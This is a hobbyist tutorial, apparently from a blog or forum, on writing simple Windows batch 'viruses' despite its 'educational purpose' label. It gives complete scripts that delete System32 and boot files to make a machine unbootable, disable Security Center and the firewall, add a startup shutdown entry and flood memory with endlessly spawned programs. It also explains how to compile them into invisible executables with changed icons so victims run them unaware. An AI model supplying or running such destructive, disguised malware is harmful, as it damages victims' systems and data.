(For Educational Purpose only)
Virus is nothing just a computer program when it runs it will mess up the victim's system. Its very easy to create a Virus or say a Basic Virus. Basically a batch file calling any process in infinite loop can be virus as it put very high load on system memory. All you need is just a little knowledge of batch programming language and these software application named below:
1. Bat to Exe Convertor
2. Icon Changer
when you have all this you are eligible to make a computer virus, all you have to do is follow this steps:
Steps for a Basic Virus:
1. Open Notepad and write this code:
@echo off
Del c:\WINDOWS\system32
Del c:\WINDOWS\pchealth
2. after this save this file as MyFile.bat and DO NOT RUN IT!!
This file will delete System32 and pchealth folders in windows directory, which is really a mess for victim to recover after execution of this file, he has to Reinstall his operating system..
Steps for a Virus which show messages:
1. Open Notepad, and write this code:
WScript.Echo ("enter your message")
write this many times as you wants.
2. Save this file as message.vbs, after this in another notepad and write this code:
@echo off
call message.vbs
shutdown -s -t 030 -c "your own little message"
save this file as virus.bat.
3. Now run Bat to Exe Convertor.
4. Now select your batch file and then include message.vbs file and press compile.
5. Your Exe file is created you can also change icon of this file using icon changer. DO NOT RUN IT!!
This executable file after execution first shows you messages you write in your .vbs file and then shutdown the pc in 30 seconds as mentioned above. This virus does not harm anybody's system.
Steps to create a virus that cannot be detected!!
1. Open Notepad, and write this code:
@echo off
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
echo shutdown -s >> "%systemdrive%\documents and settings\start menu\programs\startup\virus.bat"
:virus
start cmd.exe
start command.com
start mspaint.exe
goto :virus
save the file as virus.bat.
2. Now run Bat to Exe convertor.
3. Now select Virus.bat file and check the Invisible application and press Compile.
4. Your Virus.exe created, which will not be detected and after click on this user will not even know whether that file is running or not. DO NOT RUN IT!!
After execution of this file, it will stop security center, firewall etc and then it will start cmd.exe and mspainte.exe infinitely which will eat memory of victim's system.
Steps to create an extremely dangerous virus:
1. Open Notepad, and write this code:
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
save file as Virus.bat.
2. Now convert it to exe file via bat to exe convertor.
3. You can change it icon using icon changer.
DO NOT RUN IT EXTREMELY DANGEROUS FOR NOOBS!!
when this file executed it will delete autoexec.bat, boot.ini, ntldr and win.ini, and the Victim's computer becomes unbootable and show this at boot this only be solve by reinstalling the operating system...

all these viruses are tested by me on my virtual OS!!
NOTE: Do not run any of these virus on your pc, if you did, i'm not responsible for any harm to your system..
i'll be back with some more updates!!!
Source : INTERNET